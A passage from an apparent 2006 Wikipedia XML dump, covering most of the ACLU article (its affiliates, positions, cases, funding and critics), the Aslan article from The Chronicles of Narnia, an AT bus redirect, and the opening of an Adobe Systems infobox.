[[Image:Antonio Villaraigosa.jpg|left|thumb|260px|[[Los Angeles]] Mayor [[Antonio Villaraigosa]] speaking at an [[ACLU]] event.  Villaraigosa is the former director of the ACLU Southern California affiliate.]]

Although the ACLU has its national headquarters located in New York City, the organization does most of its work through locally based affiliates, organized into fifty state chapters.  These affiliates maintain a certain amount of autonomy from the National organization, and are able to work independently from each other.  Many of the ACLU's cases originate from the local level and are handled by lawyers from the local affiliates.

The ACLU's involvement in the internment of Japanese in the United States during World War II, which bears on the question of local autonomy, is misunderstood, and often misrepresented.  There are differing ideas on the role the ACLU took, some have argued that the ACLU remained silent on the issue. Still others have claimed that the national branch of the ACLU threatened to revoke the chapter status of the ACLU of Northern California for defending Toyosaburo Korematsu in the Supreme Court in [[Korematsu v. United States]], {{ussc|323|214|1944}}.  These arguments are hard to square with the fact that the national branch of the ACLU actually filed a brief of amicus curiae with the court on behalf of Mr. Korematsu.

In fact, the ACLU argued that some internments may have been necessary for the security of the nation, but that by interning Americans without giving them a hearing, the military was violating their right to due process.  The ACLU argued that the internments should have civilian oversight, instead of military,  and that the Japanese in the camps had been interned on the basis of racial discrimination.

State chapters remain the basic unit of the ACLU's organization. In a twenty month period beginning January 2004, the ACLU's [[New Jersey]] chapter, to take one example, was involved in fifty-one cases according to their annual report -- thirty-five cases in state courts, and sixteen in federal court. They provided legal representation in thirty-three of those cases, and served as amicus in the remaining eighteen. They listed forty-four volunteer attorneys who assisted them in those cases.

==Positions==
The ACLU's stated mission is to defend the rights of all citizens as enshrined in the [[Bill of Rights]] of the United States Constitution.  While the bulk of the ACLU's cases involve the [[First Amendment]], Equal Protection and Due Process and cases involving the right to privacy (see, ''e.g.'', the [[Louisiana]] chapter [http://www.laaclu.org/Complaints/complaints.html]), the organization has taken positions on a wide range of controversial issues. In particular, the ACLU:

* Supports the [[separation of church and state in the United States|separation of church and state]]; under this mandate, the ACLU:
** Opposes the government-sponsored display of religious symbols on [[public property]];
** Opposes official prayers, religious ceremonies, or [[moment of silence|moments of silence]] in public schools or schools funded with public [[money]];
* Supports full [[First Amendment to the United States Constitution|first amendment]] rights of citizens, organizations and the press, including school [[newspaper]]s;
* Supports [[reproductive rights]], including the right to use [[contraception]] and to have an [[abortion]];
* Supports full civil rights for [[homosexuality|homosexuals]], including government benefits for homosexual couples equal to those provided for heterosexual ones;
* Supports [[affirmative action]] as a means of redressing past discrimination and achieving a racially diverse student body [http://www.aclu.org/RacialEquality/RacialEqualityMain.cfm];
* Supports the rights of [[defendant]]s and suspects against [[unconstitutional]] [[police]] practices;
* Supports the [[decriminalization]] of [[recreational drug use|drugs]] such as [[heroin]], [[cocaine]] and [[marijuana]] [http://www.aclu.org/DrugPolicy/DrugPolicy.cfm?ID=12401&amp;c=19];
* Opposes demonstration permits and other requirements for protests in public places;
* Is critical of current surveillance camera practices, citing privacy violations [http://www.aclunc.org/police/oak-video.html].

The ACLU has opposed some campaign finance laws such as the [[Bipartisan Campaign Reform Act]], which it considers an inappropriate restriction upon freedom of expression. It does not, however, have a blanket opposition to all laws on campaign finance.

The official policy of the national ACLU argues that the [[Second Amendment to the United States Constitution|second amendment]] is &quot;intended mainly to protect the right of the states to maintain militias to assure their own freedom and security against the central government&quot; and is not intended to &quot;confer an unlimited right upon individuals to own guns or other weapons.&quot; [http://www.aclu.org/PolicePractices/PolicePractices.cfm?ID=9621&amp;c=25] The ACLU has generally avoided taking gun-related cases, and this has occasioned criticism by those who consider their interpretation of the amendment to be far &quot;softer&quot; than its &quot;hard-line&quot; stances on other parts of the law.

The ACLU has been noted for vigorously defending the right to express unpopular, controversial, and extremist opinions on both the left and right. Some have expressed the view that the ACLU sometimes plays a role comparable to that played by [[public defender]]s, helping to ensure that even unpopular defendants receive due process.

==Notable cases==
 
Since its founding, the ACLU has been involved in many cases (see the [[List of ACLU Cases]] for a fuller list). A few of the most significant are discussed here.

In 1925, the ACLU persuaded [[John T. Scopes]] to defy [[Tennessee]]'s anti-[[evolution]] law in a court test. [[Clarence Darrow]], a member of the ACLU National Committee, headed Scopes' legal team. The ACLU lost the case and Scopes was fined $100. The Tennessee Supreme Court later upheld the law but overturned the conviction on a technicality.

In 1942, a few months after the [[Japan]]ese attack on [[Pearl Harbor]], the ACLU affiliates on the West Coast became some of the sharpest critics of the government's policy on enemy aliens and U.S. citizens descended from enemy ancestry. This included the relocation of [[Japanese American Internment|Japanese-American citizens]], [[internment]] of aliens, prejudicial curfews (''[[Hirabayashi v. United States]]'', 1943), and the like. However, the national board of the ACLU dodged the issue, taking a mildly pro-government position: it accepted the internment in principle and only demanded that relocatees, once &quot;cleared&quot; of any suspicion of wrongdoing, be released from the concentration camps in which they were held.

&lt;!--missing blurb on its 1947 case which brought the idea of the separation of church and state into american legal practice--&gt;
In 1954, the ACLU played a role in the case of ''[[Brown v. Board of Education]]'', which led to the ban on segregation in U.S. [[public school]]s.

In 1973, the organization was the first major national organization to call for the [[impeachment]] of President [[Richard M. Nixon]], giving as reasons the violation by the Nixon administration of civil liberties. That same year, the ACLU was involved in the cases of ''[[Roe v. Wade]]'' and ''[[Doe v. Bolton]]'', in which the Supreme Court held that the constitutional right of privacy extended to women seeking [[abortion]]s.

In 1977, the ACLU filed suit against the Village of [[Skokie, Illinois]], seeking an injunction against the enforcement of three town ordinances outlawing [[Nazi]] parades and demonstrations (Skokie had a large [[Jew]]ish population). A federal district court struck down the ordinances in a decision eventually affirmed by the [[U.S. Supreme Court]]. The ACLU's action in this case led to the resignation of about 15 percent of the membership from the organization (25 percent in [[Illinois]]), especially of [[Judaism|Jewish]] members. A cutback in its activities was avoided by a special mailing which elicited $500,000 in contributions. 

In his February 23, 1978 decision overturning the town ordinances, US District Court Judge Bernard M. Decker described the principle involved in the case as follows: &quot;It is better to allow those who preach racial hatred to expend their venom in rhetoric rather than to be panicked into embarking on the dangerous course of permitting the government to decide what its citizens may say and hear ... The ability of American society to tolerate the advocacy of even hateful doctrines ... is perhaps the best protection we have against the establishment of any Nazi-type regime in this country.&quot;

In the 1980s, the ACLU filed suit to challenge the [[Arkansas]] 1981 [[creationism]] statute, which required the teaching in public schools of the biblical account of creation as a scientific alternative to evolution. The law was declared unconstitutional by a Federal District Court.

==Funding==
The ACLU receives funding from a large number of sources; the distribution and amount of funding for each chapter varies from state to state. To take one particular example, the ACLU of [[New Jersey]] reported $1.2 million in income to both the ACLU-NJ and its affiliated tax-exempt foundation in the the 2005 fiscal year. Of that income, 46% came from contributions, 19% came from membership dues, 18% came from court awarded attorney fees, 12% came from grants, 4% came from investment income and the remainder from other sources. Its expenses in the same period were $800,000, of which 12% went to administration and management. Smaller chapters with fewer resources, such as that in [[Nebraska]], receive subsidies from the national ACLU [http://www.aclunebraska.org/faq.htm#10]. 

The ACLU and its affiliated tax-exempt foundation receive annual support from the [[Ford Foundation|Ford]], [[Rockefeller Foundation|Rockefeller]], [[Carnegie Foundation|Carnegie]], [[Field Foundation|Field]], [[Tides Foundation|Tides]], [[Gill Foundation|Gill]], [[Arcus Foundation|Arcus]], [[Horizons Fund|Horizons]], and other foundations.  However, recently the ACLU rejected $1.5 million from both the Ford and Rockefeller Foundations because it viewed a clause in the donation agreement stipulating that &quot;none of the money would go to underwriting terrorism or other unacceptable activities&quot; as a threat to civil liberties.  The ACLU also withdrew from a federal charity drive, losing an estimated $500,000, taking a stand against the attached condition that it would &quot;not knowingly hire anyone on terrorism watch lists.&quot; Other key donors include Peter B. Lewis (an insurance magnate) [http://www.nytimes.com/2005/12/08/national/08aclu.html].

It is sometimes asserted that the ACLU collects legal fees in the event that they are involved on the winning side of a legal judgment [http://stoptheaclu.com/archives/2005/08/05/christian-group-asks-congress-to-investigate-aclu-for-frivolous-dangerous-lawsuits/]. As described in greater detail below, while there are restrictions on how fees may be collected, the ACLU has in a number of cases indeed received substantial monetary awards.

The awarding of legal fees to groups like the ACLU in civil rights cases remains highly controversial for some. The Public Expression of Religion Act of 2005, for example, introduced by Representative [[John N. Hostettler]], seeks to alter prior civil rights legislation to prevent monetary judgements in the particular case of violations of church-state separation [http://thomas.loc.gov/cgi-bin/query/z?c109:H.R.2679:], and groups such as the [[American Legion]] have taken stances opposing the ACLU's right to collect fees under such legislation [http://www.legion.org/word/aclu.rtf]. On the other hand, the recovery of legal fees by non-profit legal advocacy organizations is common practice across the political spectrum; the [[pro-life]] [[Thomas More Law Center]], for example, generally seeks, and is successful in, recovery of legal fees in the same manner as the ACLU [http://www.thomasmore.org/news.html?NewsID=227], [http://www.thomasmore.org/news.html?NewsID=383].

In many cases however, due to the nature of its legal work, the ACLU is involved in litigation against governmental bodies, which are generally protected from adverse monetary judgements: ''i.e.'', a town, state or Federal agency may be required to change its laws or behave differently, but not to pay monetary damages except by an explicit statutory waiver [http://www.oyez.org/oyez/resource/case/959/]; [http://www.chainyounger.com/pa_cases_against_government.html#1].

In some cases, the law does permit plantiffs who successfully sue government agencies to collect damages. In particular, a 1976 Federal law, the Civil Rights Attorney's Fees Awards Act, among other similar laws, does leave the government liable in some civil rights cases. In many cases where the ACLU represents plantiffs, the case is handled not by ACLU attorneys, but by sympathetic law firms who provide their services ''[[pro bono]]''. In these cases, the law firm may sue for legal fees; in such circumstances the money would be awarded to the firm, and not the ACLU. [http://www.stcynic.com/blog/archives/2005/08/volokh_on_stopt.php]

These caveats aside, the ACLU and its state chapters do, in cases where they provide legal services and laws permit government liability, share in monetary judgements against government agencies. It shared, for example, with other plantiffs in a $156,960 judgement against the State of [[Nebraska]] in a gay marriage case now on appeal [http://www.journalstar.com/articles/2005/08/02/local/doc42efae0b8e7f7297850171.txt]. 

A separate example involves a string of church-state cases. The Georgia chapter was awarded $150,000 in fees after suing a county courthouse for the removal of a [[Ten Commandments]] display [http://www.acluga.org/press.releases/0507/barrow.county.html]; a second Ten Commandments case in the State, in a different county, led to a $74,462 judgment [http://www.acluga.org/docket.html]. Meanwhile, the State of [[Tennessee]] was required to pay $50,000, the State of [[Alabama]] $175,000, and the State of [[Kentucky]] $121,500, in similar Ten Commandments cases [http://www.enquirer.com/editions/2003/07/09/loc_kytencommandments09.html], [http://www.religioustolerance.org/chr_10cb.htm]. 

The State of [[Kentucky]] was in fact required by courts to pay the ACLU nearly $700,000 in legal fees in the years 1994-2003, mainly for passing abortion and state religion-related laws later struck down by courts [http://www.enquirer.com/editions/2003/07/09/loc_kytencommandments09.html]. Ref. [http://www.reclaimamerica.org/Pages/News/newspage.asp?story=2859] is a partial list of various judgments awarded to the ACLU and its state chapters over the years, which cover a wide variety of cases including judgments involving creationism, internet pornography, church-state and free speech cases, and total approximately $2.9 million. Usually, judgements are made against states, although [[Operation Rescue]] was required to pay the Union $111,000 in fees in a [[San Diego]] case.

When taking on highly contentious cases the ACLU leaves itself liable to potentially damaging judgements against it if it were found to be filing a &quot;frivolous&quot; suit, regardless of whether the government may be liable. [http://volokh.com/archives/archive_2005_07_31-2005_08_06.shtml#1123261056]

==Controversial stances==

The organization believes that free speech rights must be available to all citizens and residents of the United States.  Therefore, it has taken on unpopular cases to defend the free speech rights of clients such as [[Ku Klux Klan]] members, [[neo-Nazi]] groups, and [[North American Man-Boy Love Association|NAMBLA]], a group which supports legalization of [[pederasty]]. A number of controversial cases in which the ACLU has been involved are discussed in the sections below.

The ACLU has defended [[Frank Snepp]] formerly of the [[Central Intelligence Agency]] (from an attempt of this government agency to gag him) and Lieutenant Colonel [[Oliver North]] (convicted on the basis of coerced testimony&amp;mdash;a violation of his [[Fifth Amendment to the United States Constitution|fifth amendment rights]]).

The ACLU's stance on [[Spam (electronic)|spam]] is considered controversial by a broad cross-section of political points-of-view. The ACLU has opposed many anti-spam laws, and in 2000 Marvin Johnson, a legislative counsel for the ACLU, claimed that anti-spam laws are a bad idea because &quot;it's relatively simple to click and delete,&quot; [http://archives.cnn.com/2000/TECH/computing/06/09/amend.spam.idg/] advice which is rejected by many spam fighters. [http://www.oreilly.com/catalog/spam/chapter/ch01.html] The debate found the ACLU joining with the [[Direct Marketing Association]] and the [[Center for Technology and Democracy]] in criticizing a bipartisan bill in the [[House of Representatives]] in 2000; already by 1997 the ACLU had taken a strong position that nearly all spam legislation was improper [http://www.anu.edu.au/mail-archives/link/link9709/0306.html], although it has supported &quot;[[opt-out]]&quot; requirements in some cases. Most recently the ACLU opposed the 2003 [[CAN-SPAM_Act_of_2003|CAN-SPAM]] act [http://www.aclu.org/freespeech/commercial/10953leg20030730.html] suggesting the possibility of a [[chilling effect]].

In many cases, whether or not a stance is considered controversial depends on other political views the critic may hold. These are discussed in greater detail in sections below.

==Critics of the ACLU==

The ACLU's involvement in hundreds of legal cases over the years have led to a great deal of criticism from numerous points of view. In many situations, the criticism may be focused on the ACLU's stance in a particular case or group of cases; in others, the criticism focuses on the general principles that guide the ACLU's choices of which cases to take. 

It may be taken for granted that many groups oppose some or all of the ACLU's &quot;positions&quot; listed above; here we discuss only the most general themes the criticism has taken.

===Conservative critics===

The ACLU's most vocal critics are generally those who consider themselves, or are commonly regarded as, [[conservative]]s.  Many of these conservatives allege that the ACLU has not dedicated itself to the defense of constitutional rights, but that it seeks to advance a [[liberal]] agenda.  Some critics point to its opposition to the [[death penalty]], which has been declared constitutional by the [[Supreme Court of the United States]] since 1976, although it had been declared unconstitutional in practice from 1972 to 1976. The ACLU continues to argue that the death penalty violates the [[Eighth Amendment to the United States Constitution|Eighth Amendment]] restriction against &quot;cruel and unusual punishment,&quot; the [[Fourteenth Amendment to the United States Constitution|Fourteenth Amendment]] guarantee of equal protection, and that it is contrary to [[Universal Declaration of Human Rights|international human rights]] norms.

The 1980 ''[[Polovchak v. Meese]]'' case is also sometimes considered evidence of liberal sympathies on the part of the ACLU. [[Walter Polovchak]] was from [[Ukraine]], at that time part of the [[Soviet Union]], and when his parents were returning to Ukraine, tried to stay in the US and claim [[refugee|political asylum]]. The ACLU attempted to block him from doing so. In 1999 the Florida chapter of the ACLU referred to the ACLU's role in the Polovchak case in their brief for the [[Elián González]] case.

Critics also argue that the ACLU has not been consistent in defending all civil liberties, pointing out that it is not active in protecting [[Gun politics in the US|gun rights]]. Critics claim gun rights enjoy similar constitutional protection to other civil rights and should be treated equally by the ACLU if it is not motivated by a partisan agenda. The organization declares itself officially &quot;neutral&quot; on the issue of gun control, pointing to previous Supreme Court decisions such as ''[[United States v. Miller]]'' to argue that the [[Second Amendment]] applies to the preservation or efficiency of a well-regulated militia, and the unlimited possession of weapons by individuals is not constitutionally protected. [http://www.aclu.org/PolicePractices/PolicePractices.cfm?ID=9621&amp;c=25] 

Some critics argue that this position is inconsistent with their stated philosophy, and have suggested that the ACLU may only adopt this stance to appease liberal-leaning supporters of the group who happen to also support gun control. Critics also point out that the ACLU does not take up cases that involve possible abuses by the [[BATFE]] that go beyond the debate over the private ownership of firearms. [http://www.civilrightsunion.org/acluwatch/socalledgun.htm] The ACLU has been involved in a few gun rights cases; most recently the ACLU of Texas joined with the [[National Rifle Association|NRA]] in favor of a proposed Texas law, HB 823, in 2006, and claiming that current legislation allowed for the harassment of gun owners [http://gritsforbreakfast.blogspot.com/2005/03/pack-your-pistola-and-hit-road.html].

In 1982, the ACLU became involved in a case involving the distribution of [[child pornography]] (''New York v. Ferber, 458 U.S. 747'' [http://www.oyez.org/oyez/resource/case/279/].) In a controversial amicus brief, the ACLU argued that the [[New York State]] law in question &quot;has criminalized the dissemination, sale or display of constitutionally protected non-obscene materials which portray juveniles in sexually related roles&quot;, while arguing that child pornography deemed [[obscene]] under the [[Miller test]] deserved no constitutional protection and could be banned [http://campus.westlaw.com/Find/Default.wl?SerialNum=1982191934&amp;FindType=Y&amp;AP=0-2&amp;ReturnTo=CLID_RT4918149&amp;POP=False&amp;IT=BRIEF&amp;TF=15&amp;TC=1&amp;mt=CampusLegal&amp;fn=_top&amp;sv=Split&amp;vr=2.0&amp;sp=princeton-2000&amp;rs=WLW5.09]. The ACLU's stance on this case has drawn great criticism from conservatives [http://euphoria.jarkolicious.com/journal/2005/06/16/516/]. In a 2002 letter, the ACLU stated that it &quot;opposes child pornography that uses real children in its depictions&quot; [http://www.aclu.org/Privacy/Privacy.cfm?ID=10364&amp;c=252].

The group has also come under fire, again mostly from conservative critics, for fighting against [[Megan's Law|Megan’s Law]], a law ostensibly enacted to protect children from sex offenders. Though the ACLU has fought Megan’s Law(s) in many states, it has been unable to attain significant victories in these cases.

[[Bill O'Reilly (journalist)|Bill O'Reilly]] has referred to the ACLU as &quot;the most dangerous organization in America&quot;, and as an &quot;anti-American&quot; and &quot;[[fascist]] organization&quot; on his various broadcasts, and frequently [[Bill O'Reilly (journalist)#American Civil Liberties Union|criticizes the group]] [http://mediamatters.org/items/200406080005].

[[Michael Medved]] has referred to the ACLU sarcastically as the &quot;American Criminal Lawyer Union&quot;, due to its frequent stances at end with conservatives. The construction of alternative [[backronyms]] is something of a sport; others invented by critics include &quot;American Communist Lawyers Union&quot; [http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=41751]. The group &quot;Stop the ACLU&quot; ran a backronym contest [http://www.stoptheaclu.org/wst_page9.html]. The thirty entries variously implied that the ACLU was atheist, Communist, lesbian, aligned with [[Lucifer]], or overly [[litigation|litigious]]. The most frequent assertion, made in a plurality of eleven entries, was that the union was anti-Christian.

===Conservative Christian critics===

At the grassroots level, the ACLU often involves itself in cases involving the [[separation of church and state]].  Therefore, some [[Christians]], including many who may be considered [[conservative Christian]], often take issue with its positions. Many in this community contend that the ACLU is part of an effort to remove all references to religion from American government.

In 2004, for example, the ACLU of Southern California (ACLU/SC) threatened to sue the city of [[Redlands, California]] if it did not remove a picture of a cross from the city's seal.  The ACLU/SC argued that having a cross on the seal amounted to a government-sponsored endorsement of Christianity and violated separation of church and state.  The city complied with the ACLU/SC and removed the cross from all city vehicles, business cards, and police badges.  However, the issue will be put on the November 2005 ballot [http://www.redlandsseal.org]. The ACLU/SC also threatened  [[Los Angeles County, California]] if it did not remove an image of a cross from its seal.  As in the Redlands case, the county board complied with the demands and voted to remove the cross from its seal as well. There was a petition against the changing of the seal, which ended on [[August 15]], [[2005]] [http://www.savetheseal.net/].

In [[1990]], [[Pat Robertson]] founded the [[American Center for Law and Justice]], as a counterweight to the ACLU, which is perceived by Robertson as &quot;liberal&quot; and &quot;hostile to traditional [[American values]]&quot;; another non-profit legal center, the [[Thomas More Law Center]], also bills itself as the &quot;Christian answer to the ACLU.&quot;

After the [[September 11, 2001 terrorist attack]], the Rev. [[Jerry Falwell]] remarked that the ACLU, by trying to &quot;secularize America,&quot; had provoked the wrath of God, and therefore caused those terrorist attacks.  (Falwell later apologized for the remark.)  Other critics of the ACLU do not make such strong accusations, but claim that the organization pushes the concept of separation of church and state beyond its original meaning. The ACLU and Jerry Falwell sometimes find themselves on the same side.  Notably, the ACLU filed an amicus brief supporting a suit by Falwell against the state of Virginia.  The suit, which was successful, overturned the Virginia constitution's ban on the incorporation of Churches.  In addition, the ACLU has defended the rights of a Christian church to run anti-Santa ads on Boston subways, the rights to religious expression by jurors, and the rights of Christian students to distribute religious literature in school. [http://www.aclu.org/ReligiousLiberty/ReligiousLiberty.cfm?ID=17598&amp;c=38]

While the ACLU does oppose the use of crosses in public monuments [http://www.signonsandiego.com/uniontrib/20040331/news_7m31soledad.html], [http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=43799], there have been false allegations that the ACLU has urged the removal of cross-shaped [[headstone]]s from federal [[cemetery|cemeteries]] and has opposed prayer by [[soldier]]s; such charges have been deemed to be [[urban legend]]s. [http://www.snopes.com/politics/religion/cemetery.asp]

Many minority religious groups like [[Jehovah's Witnesses]] and [[Muslim]]s have at times been defended by the ACLU and are ardent supporters of it. In the [[Mormon]] community, the ACLU is viewed positively by some, who cite [[Santa Fe Independent School Dist. v. Doe]], a case litigated by the ACLU on behalf of a Mormon student concerning [[school prayer]] [http://wenger.blogspot.com/2003_08_10_wenger_archive.html#106087652143939285]. However, a good number of Mormons, including some local leaders, are strongly against the activities of the ACLU [http://www.timesandseasons.org/archives/000198.html]. 

Jehovah's Witnesses were involved in twenty-three Supreme Court rulings between 1938 and 1946 over religious objections to serving in the armed forces and over saluting the flag and reciting the pledge of allegiance [http://www.commondreams.org/views/022800-105.htm], over local and state ordinances prohibiting the Witnesses from publishing criticisms of the [[Roman Catholic]] church [http://www.commondreams.org/views/022800-105.htm], as well as over government reluctance to prosecute anti-Witness vigilantes; the ACLU was directly involved in these cases [http://www.kansaspress.ku.edu/petjud.html]; the ACLU's involvement with Jehovah's Witnesses continues, and they joined the Witnesses in a 2002 case over doorbell-ringing [http://www.chron.com/disp/story.mpl/nation/1272268.html].

===Liberal critics===

The ACLU has also, though less frequently, been subject to criticism from the [[political left]]. Some critics object to the organization's advocacy for corporations' protection by the Bill of Rights known as [[corporate personhood]], as well as its stance against some campaign finance reform laws.

===Feminist &amp; Left critics===
Some [[Anti-pornography movement|anti-pornography activists]], including [[Nikki Craft]] and [[Catharine MacKinnon]], who oppose pornography on [[feminist]] grounds, are also strong critics of the ACLU; in her lifetime, [[Andrea Dworkin]]'s positions on pornography also led her to similar stances. A group, started by Craft in the early 1990s, is called &quot;Always Causing Legal Unrest (ACLU)&quot;; the resultant acronym confusion led the then-director of the Union [[Dorothy M. Ehrlich]] to send a letter of protest [http://www.nostatusquo.com/ACLU/aclu/Ehrlich.html], but the Union did not pursue legal action against Craft's group.

===Libertarian critics===

While some refer to the ACLU as a [[libertarian]] organization and while the ACLU has defended the [[Libertarian Party (United States)|US Libertarian Party]] in recent cases [http://www.aclu.org/VotingRights/VotingRights.cfm?ID=10305&amp;c=32], a number of libertarians and [[objectivists]] oppose the ACLU for its support of laws that they view as distinctly anti-liberty, such as [[affirmative action]] and anti-discrimination laws that apply to private property.  One objection held by some libertarians is the belief that private business owners have an inherent right to discriminate against serving customers, or hiring employees, based on criteria such as race or sex. 

Former ACLU member [[Nat Hentoff]] has criticized the organization in a libertarian vein for promoting affirmative action and for supporting what he sees as government protected liberal speech codes enacted on college campuses and the workplace [http://www.jewishworldreview.com/cols/hentoff092099.asp].

Law professor [[David Bernstein]]'s book &quot;You Can't Say That! The Growing Threat to Civil Liberties from Antidiscrimination Laws&quot; takes the ACLU to task for frequently seeking to undermine expressive rights when they conflict with antidiscrimination laws, as in the 2000 Supreme Court case of [[Boy Scouts of America v. Dale]]. Some libertarians have formed an organization they describe as the &quot;libertarian ACLU&quot; [http://www.lpws.org/spokane/why.htm], the [[Institute for Justice]].

==National affiliates==

Below are some of the ACLU's bigger affiliates:

* [http://www.aclu-sc.org/ ACLU of Southern California]
* [http://www.aclunc.org/ ACLU of Northern California]
* [http://www.aclu-nca.org/ ACLU of the National Capital Area (District of Columbia, and Prince George's and Montgomery Counties of Maryland)]
* [http://www.aclufl.org/ ACLU of Florida]
* [http://www.aclu-il.org/ ACLU of Illinois]
* [http://www.aclu-mass.org/ ACLU of Massachusetts]
* [http://www.aclumich.org/ ACLU of Michigan]
* [http://www.aclu-mn.org/ ACLU of Minnesota]
* [http://www.aclu-em.org/ ACLU of Eastern Missouri]
* [http://www.aclunebraska.org/ ACLU of Nebraska]
* [http://www.aclu-nj.org/ ACLU of New Jersey]
* [http://www.nhclu.org/ New Hampshire Civil Liberties Union]
* [http://www.nyclu.org/ New York Civil Liberties Union]
* [http://www.acluohio.org/ ACLU of Ohio]
* [http://www.aclupa.org/ ACLU of Pennsylvania]
* [http://www.acluva.org/ ACLU of Virginia]
* [http://www.aclu-wa.org/ ACLU of Washington]

==External links==
{{wikiquote}}
* [http://www.aclu.org Official website]
* [http://www.topix.net/news/aclu ACLU News from Topix.net]
* [http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=12666&amp;c=206 Freedom Under Fire: Dissent in a Post-9/11 America]
* [http://www.stoptheaclu.org Stop the ACLU Main Site] (Critics of the ACLU)

[[Category:1917 establishments]]
[[Category:Civil rights]]
[[Category:Court cases litigated by the American Civil Liberties Union|*]]
[[Category:Government watchdog groups in the U.S.]]
[[Category:Legal defence organizations]]

[[de:American Civil Liberties Union]]
[[it:American Civil Liberties Union]]
[[ja:アメリカ自由人権協会]]
[[nl:American Civil Liberties Union]]</text>
    </revision>
  </page>
  <page>
    <title>Aslan</title>
    <id>1951</id>
    <revision>
      <id>41168035</id>
      <timestamp>2006-02-25T14:07:19Z</timestamp>
      <contributor>
        <ip>67.23.84.125</ip>
      </contributor>
      <comment>/* Christological aspects */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Narnia aslan.jpg|thumb|250px|right|Aslan in promotional artwork from the film ''The Lion, the Witch and the Wardrobe'']]
'''Aslan''' the &quot;Great Lion&quot; is the main character in ''[[The Chronicles of Narnia]]'' a series of seven fantasy novels for children written by [[C. S. Lewis]]. He appears in all seven books of the series. The word ''aslan'' is [[Turkish Language|Turkish]] for &quot;[[lion]]&quot; and is used as a title for [[Ottoman Dynasty|Ottoman]]/[[Seljukids|Seljukid]] and [[Persian Empire]](Turkic) rulers.  The figure of Aslan may have been suggested by a mysterious lion which suddenly appears and disappears at key moments in the novel [[The Place of the Lion]], by Lewis' close friend [[Charles Williams]].

==Christological aspects==
Throughout the series it is often repeated that he is &quot;not a tame lion&quot;, since, despite his gentle and loving nature, he is powerful and can be dangerous. He takes the role of a [[Christ|Christ-like]] figure, though according to Lewis he is not an [[allegorical]] portrayal of Christ, but rather a different, hypothetical,  [[incarnation]] of Christ himself:

:''If Aslan represented the immaterial Deity, he would be an allegorical figure. In reality however he is an invention giving an imaginary answer to the question, 'What might Christ become like if there really were a world like Narnia and He chose to be incarnate and die and rise again in that world as He actually has done in ours?' This is not allegory at all.''

Thus, Lewis claimed that the Chronicles were not Christian allegory because they are not allegory, not because they are not Christian.

This interpretation is related to [[J. R. R. Tolkien]]'s concept of &quot;[[secondary creation]]&quot; expounded in his [[1947]] essay ''[[On Fairy-Stories]]'', reflecting discussions Lewis and Tolkien had in the [[Inklings]] group.

==Role in the Narnia narrative==
{{spoiler}}
In the course of ''The Lion, the Witch and the Wardrobe'', Aslan is put to death by the White Witch on the Stone Table in the place of a traitor - symbolic of the [[Crucifixion]]. He subsequently rises from the dead, and makes appearances in the remaining books in the series. He appears as the creator of Narnia in the prequel ''[[The Magician's Nephew]]''.

When Narnia is destroyed in ''[[The Last Battle]]'', Aslan judges every creature who has died. It turns out his kingdom is the real Narnia and the one that was destroyed was merely a copy.

The books also make reference to an [[Emperor-Over-Sea]], whose son Aslan is said to be; this further highlights his Christ-like status. The Emperor-over-the-Sea is similar to ''[[Eru Ilúvatar]]'' of [[J. R. R. Tolkien]]'s [[Middle-earth]], in His separation from His creation.

At various points, Aslan's role as an evangelist for Christian beliefs becomes explicit.  After turning from a lamb (Jesus was often said to be the Lamb of God in the Bible) back into a lion (Christ was often called the Lion of the Tribe of Judea) in [[The Voyage of the Dawn Treader|''The Voyage of the'' Dawn Treader]], he announces he is known by another name in our world, and while that name is not mentioned specifically, the connotations and imagery in Aslan's story strongly suggest that he is referring to Christ.  See the Wikipedia entry on [[The Voyage of the Dawn Treader|''The Voyage of the'' Dawn Treader]] for this description.
{{endspoiler}}

==Portrayals in film and television==
In all three (''The Lion, the Witch and the Wardrobe'', ''Prince Caspian and The Voyage of the Dawn Treader'', ''The Silver Chair'') of the [[BBC]] television serial adaptations of the late [[1980s]] and early [[1990s]], Aslan is voiced by [[Ronald Pickup]], with the costume operated by William Todd Jones.

In the 2005 film ''[[The Chronicles of Narnia: The Lion, the Witch and the Wardrobe]]'', he is voiced by [[Liam Neeson]].

==References==
* [http://www.sparknotes.com/lit/lion/section10.rhtml Spark notes reference to the meaning of Aslan's death]
* [http://www.christianitytoday.com/ct/2001/010/22.32.html &quot;Aslan is still on the move&quot; ''Christianity Today'' editorial, [[6 August]] [[2001]].

==See also==
{{NarniaCharacters}}

[[Category:Narnia characters]]
[[Category:Fictional lions|Aslan]]
[[Category:Fictional deities|Aslan]]
[[Category:Fictional kings]]

[[es:Aslan]]
[[eo:Aslano]]
[[pl:Aslan]]
[[pt:Aslan]]</text>
    </revision>
  </page>
  <page>
    <title>AT bus architecture</title>
    <id>1952</id>
    <revision>
      <id>15900412</id>
      <timestamp>2004-10-27T21:20:06Z</timestamp>
      <contributor>
        <username>Radiojon</username>
        <id>15970</id>
      </contributor>
      <minor />
      <comment>#redirect [[Industry Standard Architecture]]</comment>
      <text xml:space="preserve">#redirect [[Industry Standard Architecture]]</text>
    </revision>
  </page>
  <page>
    <title>Adobe Systems</title>
    <id>1955</id>
    <revision>
      <id>41868339</id>
      <timestamp>2006-03-02T06:25:30Z</timestamp>
      <contributor>
        <username>00user001</username>
        <id>1015755</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Company |
  company_name   = Adobe Systems, Inc. |
  company_logo   = [[Image:AdobeSystems.png|196px]] |
  company_type   = [[Corporation]] ([[NASDAQ]]: [http://quotes.nasdaq.com/asp/SummaryQuote.asp?symbol=ADBE ADBE]) |
  foundation     = [[San Jose, California|San Jose]] ([[1982]]) |
  location       = [[San Jose, California|San Jose]], [[California]] |
  key_people     = [[Charles Geschke]], Founder&lt;br /&gt;[[John Warnock]], Founder&lt;br /&gt;[[Bruce Chizen]], [[Chief Executive Officer|CEO]] |
  industry       = [[Software|software publishing]] [http://www.hoovers.com/adobe/--ID__12518--/free-co-factsheet.xhtml] |
  products       = [[#Products|See complete products listing.]] |
  revenue        = [[Image:green up.png]] $1.97 billion [[United States dollar|USD]] ([[2005]]) |
  num_employees = 3,142 (2005) |
  homepage       = [http://www.adobe.com/ www.adobe.com]
}}
